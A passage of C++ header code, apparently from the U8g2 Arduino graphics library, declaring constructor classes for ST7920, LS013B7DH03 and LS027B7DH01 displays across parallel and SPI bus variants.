uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_p_160x32_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_160X32_2_8080 : public U8G2 { public: U8G2_ST7920_160X32_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_p_160x32_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_160X32_F_8080 : public U8G2 { public: U8G2_ST7920_160X32_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_p_160x32_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_160X32_1_6800 : public U8G2 { public: U8G2_ST7920_160X32_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_160x32_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_160X32_2_6800 : public U8G2 { public: U8G2_ST7920_160X32_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_160x32_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_160X32_F_6800 : public U8G2 { public: U8G2_ST7920_160X32_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_160x32_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_160X32_1_SW_SPI : public U8G2 { public: U8G2_ST7920_160X32_1_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_160x32_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7920_160X32_1_HW_SPI : public U8G2 { public: U8G2_ST7920_160X32_1_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_160x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_160X32_1_2ND_HW_SPI : public U8G2 { public: U8G2_ST7920_160X32_1_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_160x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_160X32_2_SW_SPI : public U8G2 { public: U8G2_ST7920_160X32_2_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_160x32_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7920_160X32_2_HW_SPI : public U8G2 { public: U8G2_ST7920_160X32_2_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_160x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_160X32_2_2ND_HW_SPI : public U8G2 { public: U8G2_ST7920_160X32_2_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_160x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_160X32_F_SW_SPI : public U8G2 { public: U8G2_ST7920_160X32_F_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_160x32_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7920_160X32_F_HW_SPI : public U8G2 { public: U8G2_ST7920_160X32_F_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_160x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_160X32_F_2ND_HW_SPI : public U8G2 { public: U8G2_ST7920_160X32_F_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_160x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_192X32_1_8080 : public U8G2 { public: U8G2_ST7920_192X32_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_p_192x32_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_192X32_2_8080 : public U8G2 { public: U8G2_ST7920_192X32_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_p_192x32_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_192X32_F_8080 : public U8G2 { public: U8G2_ST7920_192X32_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_p_192x32_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_192X32_1_6800 : public U8G2 { public: U8G2_ST7920_192X32_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_192x32_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_192X32_2_6800 : public U8G2 { public: U8G2_ST7920_192X32_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_192x32_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_192X32_F_6800 : public U8G2 { public: U8G2_ST7920_192X32_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_192x32_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_192X32_1_SW_SPI : public U8G2 { public: U8G2_ST7920_192X32_1_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_192x32_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7920_192X32_1_HW_SPI : public U8G2 { public: U8G2_ST7920_192X32_1_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_192x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_192X32_1_2ND_HW_SPI : public U8G2 { public: U8G2_ST7920_192X32_1_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_192x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_192X32_2_SW_SPI : public U8G2 { public: U8G2_ST7920_192X32_2_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_192x32_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7920_192X32_2_HW_SPI : public U8G2 { public: U8G2_ST7920_192X32_2_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_192x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_192X32_2_2ND_HW_SPI : public U8G2 { public: U8G2_ST7920_192X32_2_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_192x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_192X32_F_SW_SPI : public U8G2 { public: U8G2_ST7920_192X32_F_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_192x32_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7920_192X32_F_HW_SPI : public U8G2 { public: U8G2_ST7920_192X32_F_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_192x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_192X32_F_2ND_HW_SPI : public U8G2 { public: U8G2_ST7920_192X32_F_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_192x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_128X64_1_8080 : public U8G2 { public: U8G2_ST7920_128X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_p_128x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_128X64_2_8080 : public U8G2 { public: U8G2_ST7920_128X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_p_128x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_128X64_F_8080 : public U8G2 { public: U8G2_ST7920_128X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_p_128x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_128X64_1_6800 : public U8G2 { public: U8G2_ST7920_128X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_128x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_128X64_2_6800 : public U8G2 { public: U8G2_ST7920_128X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_128x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_128X64_F_6800 : public U8G2 { public: U8G2_ST7920_128X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_128x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7920_128X64_1_SW_SPI : public U8G2 { public: U8G2_ST7920_128X64_1_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_128x64_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7920_128X64_1_HW_SPI : public U8G2 { public: U8G2_ST7920_128X64_1_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_128x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_128X64_1_2ND_HW_SPI : public U8G2 { public: U8G2_ST7920_128X64_1_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_128x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_128X64_2_SW_SPI : public U8G2 { public: U8G2_ST7920_128X64_2_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_128x64_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7920_128X64_2_HW_SPI : public U8G2 { public: U8G2_ST7920_128X64_2_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_128x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_128X64_2_2ND_HW_SPI : public U8G2 { public: U8G2_ST7920_128X64_2_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_128x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_128X64_F_SW_SPI : public U8G2 { public: U8G2_ST7920_128X64_F_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_128x64_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7920_128X64_F_HW_SPI : public U8G2 { public: U8G2_ST7920_128X64_F_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_128x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7920_128X64_F_2ND_HW_SPI : public U8G2 { public: U8G2_ST7920_128X64_F_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7920_s_128x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_LS013B7DH03_128X128_1_4W_SW_SPI : public U8G2 { public: U8G2_LS013B7DH03_128X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls013b7dh03_128x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_LS013B7DH03_128X128_1_4W_HW_SPI : public U8G2 { public: U8G2_LS013B7DH03_128X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls013b7dh03_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LS013B7DH03_128X128_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_LS013B7DH03_128X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls013b7dh03_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LS013B7DH03_128X128_2_4W_SW_SPI : public U8G2 { public: U8G2_LS013B7DH03_128X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls013b7dh03_128x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_LS013B7DH03_128X128_2_4W_HW_SPI : public U8G2 { public: U8G2_LS013B7DH03_128X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls013b7dh03_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LS013B7DH03_128X128_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_LS013B7DH03_128X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls013b7dh03_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LS013B7DH03_128X128_F_4W_SW_SPI : public U8G2 { public: U8G2_LS013B7DH03_128X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls013b7dh03_128x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_LS013B7DH03_128X128_F_4W_HW_SPI : public U8G2 { public: U8G2_LS013B7DH03_128X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls013b7dh03_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LS013B7DH03_128X128_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_LS013B7DH03_128X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls013b7dh03_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LS027B7DH01_400X240_1_4W_SW_SPI : public U8G2 { public: U8G2_LS027B7DH01_400X240_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls027b7dh01_400x240_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_LS027B7DH01_400X240_1_4W_HW_SPI : public U8G2 { public: U8G2_LS027B7DH01_400X240_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls027b7dh01_400x240_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LS027B7DH01_400X240_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_LS027B7DH01_400X240_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls027b7dh01_400x240_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LS027B7DH01_M0_400X240_1_4W_SW_SPI : public U8G2 { public: U8G2_LS027B7DH01_M0_400X240_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls027b7dh01_m0_400x240_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_LS027B7DH01_M0_400X240_1_4W_HW_SPI : public U8G2 { public: U8G2_LS027B7DH01_M0_400X240_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { 